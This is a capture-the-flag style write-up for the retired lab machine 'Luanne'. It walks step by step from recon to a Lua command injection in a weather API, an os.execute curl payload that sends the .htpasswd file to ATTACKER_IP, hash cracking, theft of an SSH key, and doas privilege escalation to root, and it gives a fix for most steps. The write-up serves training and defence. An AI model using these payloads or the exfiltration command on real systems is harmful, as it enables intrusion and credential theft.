Luanne
Summary
I scanned the target ($TARGET) and found three services: nginx on port 80 requiring HTTP Basic Auth, SSH on port 22, and an unknown listener on port 9001. The nginx 401 error page inadvertently embedded a hyperlink to an internal back-end at 127.0.0.1:3000, and the server's robots.txt file explicitly advertised the /weather path while noting it remained active. The /weather/forecast endpoint passed the city query parameter directly into a Lua execution context without sanitisation; injecting an os.execute call caused a measurable 3-second delay, confirming blind OS command injection with no authentication required.
That injection was used to read /var/www/.htpasswd, which contained an MD5-crypt hash for webapi_user; offline cracking with hashcat recovered the plaintext '[REDACTED: recovered credential]' in seconds. Those credentials satisfied the nginx HTTP Basic Auth and, via its reverse proxy, gave access to an internal bozohttpd file-server serving r.michaels' home directory with no path restrictions. A single authenticated HTTP request retrieved r.michaels' unencrypted SSH private key from the .ssh subdirectory, which opened an interactive shell on the host.
Inside r.michaels' home directory, a PGP-encrypted development backup was decryptable using the resident user keyring; the extracted archive contained a .htpasswd file whose MD5-crypt hash cracked to '[REDACTED: recovered credential]' — the same password configured for doas privilege escalation. The doas utility was configured to permit r.michaels to execute any command as root, so supplying '[REDACTED: recovered credential]' at the prompt produced an unrestricted root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p 22,80,9001 $TARGETcurl -si http://$TARGET/ | head -40curl -s http://$TARGET/robots.txtFixRemove application endpoint paths from robots.txtLow
Exact commands 2
curl -s -o /dev/null -w '%{time_total}\n' "http://$TARGET/weather/forecast?city=list"curl -s -o /dev/null -w '%{time_total}\n' "http://$TARGET/weather/forecast?city=%27)%20os.execute(%27sleep%203%27)%20--"FixSanitize weather API input and remove OS execution capability from the Lua environmentCritical
Exact commands 3
python3 -m http.server 8080curl -s "http://$TARGET/weather/forecast?city=%27)%20os.execute(%27curl%20http%3A%2F%2FATTACKER_IP%3A8080%2F%3Fd%3D%24(xxd%20-p%20%2Fvar%2Fwww%2F.htpasswd)%27)%20--"echo "$HASH" > hash.txt && hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txtFixRelocate .htpasswd outside the web root and upgrade to a strong password hashing schemeHigh
Exact commands 2
curl -s -u "webapi_user:$PASSWORD" http://$TARGET/~r.michaels/.ssh/id_rsa -o /tmp/luanne_id_rsachmod 600 /tmp/luanne_id_rsaFixPrevent the internal file-server from serving the .ssh directory and other sensitive home-directory pathsHigh
Exact commands 2
ssh -i /tmp/luanne_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null r.michaels@$TARGETcat /home/r.michaels/user.txtExact commands 4
ls ~/backups/netpgp --decrypt ~/backups/devel_backup-2020-09-16.tar.gz.enc --output /tmp/backup.tar.gztar xzf /tmp/backup.tar.gz -C /tmp/ && cat /tmp/var/www/devel/.htpasswdecho 'r.michaels:<hash_from_above>' > dev_hash.txt && hashcat -m 500 -a 0 dev_hash.txt /usr/share/wordlists/rockyou.txtFixRemove credential files from backup archives and store backups outside user home directoriesHigh
Exact commands 2
doas -u root /bin/shcat /root/root.txtFixRestrict doas rules to specific minimum-necessary commands and use a dedicated escalation credentialHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) |
| 80/tcp | http nginx 1.19.0 |
| 9001/tcp | unknown recon-sweep-discovered |